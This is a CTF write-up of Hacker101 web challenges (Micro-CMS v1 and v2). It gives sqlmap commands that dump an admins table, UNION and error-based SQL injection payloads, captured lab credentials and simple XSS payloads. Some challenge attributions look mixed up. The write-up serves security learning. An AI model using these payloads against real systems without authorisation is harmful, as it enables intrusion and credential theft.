

Hacker101 CTF Write-Up Documentation

Introduction

This document contains a walkthrough of challenges completed on the Hacker101 CTF platform. It explains the methodology, tools used, vulnerabilities identified, and the process followed to retrieve the flags.

Challenge 1 — A little something to get you started

Category: Web

Difficulty: Trivial

Objective

Gain familiarity with the platform and retrieve the first flag.

Enumeration Process

- Opened the web application in the browser.
- Inspected the page contents manually.
- Checked for:
 - Hidden text
 - HTML comments
 - Page source
 - Developer tools
 - Basic directories

Steps Taken

1. Loaded the challenge page.
2. Viewed the page source using:

CTRL + U

1. Inspected the HTML for hidden content or comments.
2. Located the flag embedded in the source/page.

Flag Retrieval

The flag was retrieved directly from the HTML source after inspecting the page contents.

Skills Learned

- Basic web enumeration
 - Viewing source code
 - Recognizing hidden information in HTML
-

Challenge 2 — Micro-CMS v1

Category: Web

Difficulty: Easy

Objective

Identify vulnerabilities in the CMS and retrieve all available flags.

Tools Used

- Browser Developer Tools
- Burp Suite
- Kali Linux
- Firefox

Initial Enumeration

The application appeared to be a small content management system with:

- Login functionality
- Post creation/editing
- URL parameters
- Potential administrative endpoints

Initial testing focused on:

- Authentication
 - Input fields
 - URL manipulation
 - Hidden routes
 - Session behavior
-

Flag 1 — Information Disclosure / Source Inspection

Steps Taken

1. Inspected the web page source.
2. Checked for hidden comments and developer notes.
3. Enumerated directories and routes manually.
4. Located exposed information leading to the first flag.

Result

Successfully retrieved the first flag.

Flag 2 — Authentication / Access Control Issue

Steps Taken

1. Intercepted requests using Burp Suite.
2. Observed authentication/session behavior.
3. Tested direct access to privileged endpoints.
4. Modified requests and replayed them using Burp Repeater.

Result

Accessed restricted functionality and obtained the second flag.

Flag 3 — SQL Injection

Enumeration

- Observed parameters that interacted with backend content.
- Tested special characters such as:

```
'  
"  
OR 1=1 --
```

- Noticed abnormal responses indicating possible SQL injection.

Exploitation Workflow

Used sqlmap for automated exploitation and database enumeration.

Step 1 — Enumerate databases

```
sqlmap -r request.txt --dbs --batch --threads=10 --risk=3 --level=5 --  
technique=T --time-sec=2
```

This identified available databases on the backend MariaDB/MySQL server.

Step 2 — Enumerate tables from the target database

```
sqlmap -r req.txt -D level2 --tables --threads=10 --risk=3 --level=5 --  
technique=T --time-sec=2
```

The enumeration revealed multiple tables inside the `level2` database.

Step 3 — Identify credential-related tables

```
sqlmap -r request.txt -D level2 --tables --threads=10 --risk=3 --level=5 --  
technique=T --time-sec=2
```

During enumeration, the `admins` table was identified as a likely credential storage table.

Step 4 — Enumerate columns from the admins table

```
sqlmap -r request.txt -D level2 -T admins --columns --batch --technique=T --  
time-sec=2
```

This revealed columns such as:

- username
- password

Step 5 — Dump credentials

```
sqlmap -r request.txt -D level2 -T admins -C username,password --dump --batch --  
technique=T --time-sec=2
```

The usernames and password hashes/credentials were successfully extracted from the database.

Manual SQL Injection Authentication Bypass

During testing, a manual SQL injection payload was crafted to bypass authentication checks and retrieve administrator credentials.

The following payloads were tested against the login form:

```
SELECT * FROM admins where USERNAME='' UNION SELECT 'pass' AS password FROM  
admins WHERE '1' = '1' AND PASSWORD='pass';
```

Simplified SQL injection payload:

```
' UNION SELECT 'pass' AS password FROM admins WHERE '1' = '1
```

Password used during testing:

```
pass
```

The payload manipulated the backend SQL query logic and successfully bypassed authentication validation.

Username Extraction Payload

```
username=' OR (select 1 from(select count(*),concat((select (select (SELECT  
concat(0x7e,0x27,cast(admins.username as char),0x27,0x7e) FROM `level2`.admins  
LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from  
information_schema.tables group by x)a) AND '1' = '1
```

This payload leveraged SQL error-based extraction techniques to retrieve usernames from the `admins` table.

Password Extraction Payload

```
username=' OR (select 1 from(select count(*),concat((select (select (SELECT  
concat(0x7e,0x27,cast(admins.password as char),0x27,0x7e) FROM `level2`.admins  
LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from  
information_schema.tables group by x)a) AND '1' = '1
```

This payload extracted administrator passwords from the backend database.

Additional Request Testing

Requests were manually tested using curl to observe application behavior and verify endpoint accessibility.

```
curl -X POST https://04018cf63b303a88fe29557671724cd7.ctf.hacker101.com/page/edit/1
```

Verbose request testing:

```
curl -v -X POST https://04018cf63b303a88fe29557671724cd7.ctf.hacker101.com/page/edit/1
```

These requests assisted in identifying endpoint behavior and potential authorization weaknesses.

Optimized sqlmap Enumeration

The following sqlmap command was used to accelerate blind SQL injection enumeration:

```
sqlmap -r req.txt --technique=B --threads=10 --batch --dbs
```

This improved extraction speed while identifying backend databases.

Extracted Credentials

The following administrator credentials were successfully dumped from the backend database:

```
+-----+-----+
| username | password |
+-----+-----+
| jolene   | belia    |
+-----+-----+
```

Result

Successfully dumped administrator credentials from the backend database and used them to authenticate into the web application, leading to flag retrieval.

Flag 4 — XSS / Client-Side Injection

Steps Taken

1. Tested reflected and stored inputs.
2. Injected payloads into searchable/input areas.

3. Used Burp Suite to intercept and replay requests.
4. Confirmed payload execution in browser.

Example payload:

```
<script>alert(1)</script>
```

or:

```
<iframe src="javascript:alert(`xss`)">
```

Result

Successfully triggered XSS and obtained the final flag.

Challenge 3 — Micro-CMS v2

Category: Web

Difficulty: Moderate

Objective

Exploit more advanced vulnerabilities in the second version of the CMS.

Initial Observations

Compared to v1, this challenge introduced:

- Improved validation
- More complex request handling
- Additional authentication logic
- Stronger filtering

The testing methodology focused on:

- Parameter tampering
 - Access control bypasses
 - SQL injection testing
 - XSS testing
 - Forced browsing
 - Session manipulation
-

Enumeration Methodology

1. Directory Enumeration

Potential directories tested manually and with wordlists:

```
/admin  
/login  
/edit  
/uploads  
/api
```

2. Burp Suite Interception

Used Burp Suite Proxy and Repeater to:

- Modify requests
- Replay authenticated actions
- Test unauthorized access
- Manipulate parameters

3. SQL Injection Testing

Used:

```
sqlmap -r req.txt --dbs
```

Then:

```
sqlmap -r req.txt -D <database> --tables
```

Followed by:

```
sqlmap -r req.txt -D <database> -T <table> --columns
```

Finally:

```
sqlmap -r req.txt -D <database> -T <table> --dump
```

4. XSS Testing

Injected payloads into:

- Search fields
- Comment fields
- CMS content
- Query parameters

Example payloads:

```
<script>alert(1)</script>
```

```
<img src=x onerror=alert(1)>
```

Common Methodology Used Across Challenges

Reconnaissance

- Viewed source code
- Checked cookies and headers
- Enumerated directories
- Identified input fields

Interception

Used Burp Suite to:

- Capture requests
- Modify parameters
- Replay requests
- Observe responses

Exploitation

Tested for:

- SQL Injection
- XSS
- Broken Access Control
- Information Disclosure
- Session Issues

Verification

Confirmed successful exploitation by:

- Triggering alerts
 - Accessing restricted resources
 - Dumping database contents
 - Obtaining flags
-

Lessons Learned

Technical Skills

- Web application enumeration
- SQL injection testing
- Burp Suite request manipulation
- Understanding HTTP requests/responses
- XSS testing techniques
- Database enumeration with sqlmap

Security Concepts

- Broken authentication
 - Insecure direct object references
 - Improper input validation
 - Sensitive data exposure
 - Client-side injection vulnerabilities
-

Tools Used Throughout

Tool	Purpose
Burp Suite	Request interception and manipulation
sqlmap	SQL injection exploitation
Firefox	Web testing
Kali Linux	Penetration testing environment
Browser DevTools	Source inspection and debugging

Notes for Further Completion

To finalize this documentation properly, add:

1. Exact flags retrieved
2. Specific endpoints exploited
3. Screenshots of:
4. Burp requests
5. sqlmap output
6. Successful payload execution
7. Exact payloads used
8. Authentication bypass techniques used
9. Any hidden directories discovered
10. Any session/cookie manipulations performed
11. Exact vulnerabilities confirmed in Micro-CMS v2

Once those details are added, this can become a complete professional pentesting-style CTF report suitable for:

- Portfolio use
- Internship applications
- Cybersecurity learning documentation
- GitHub write-ups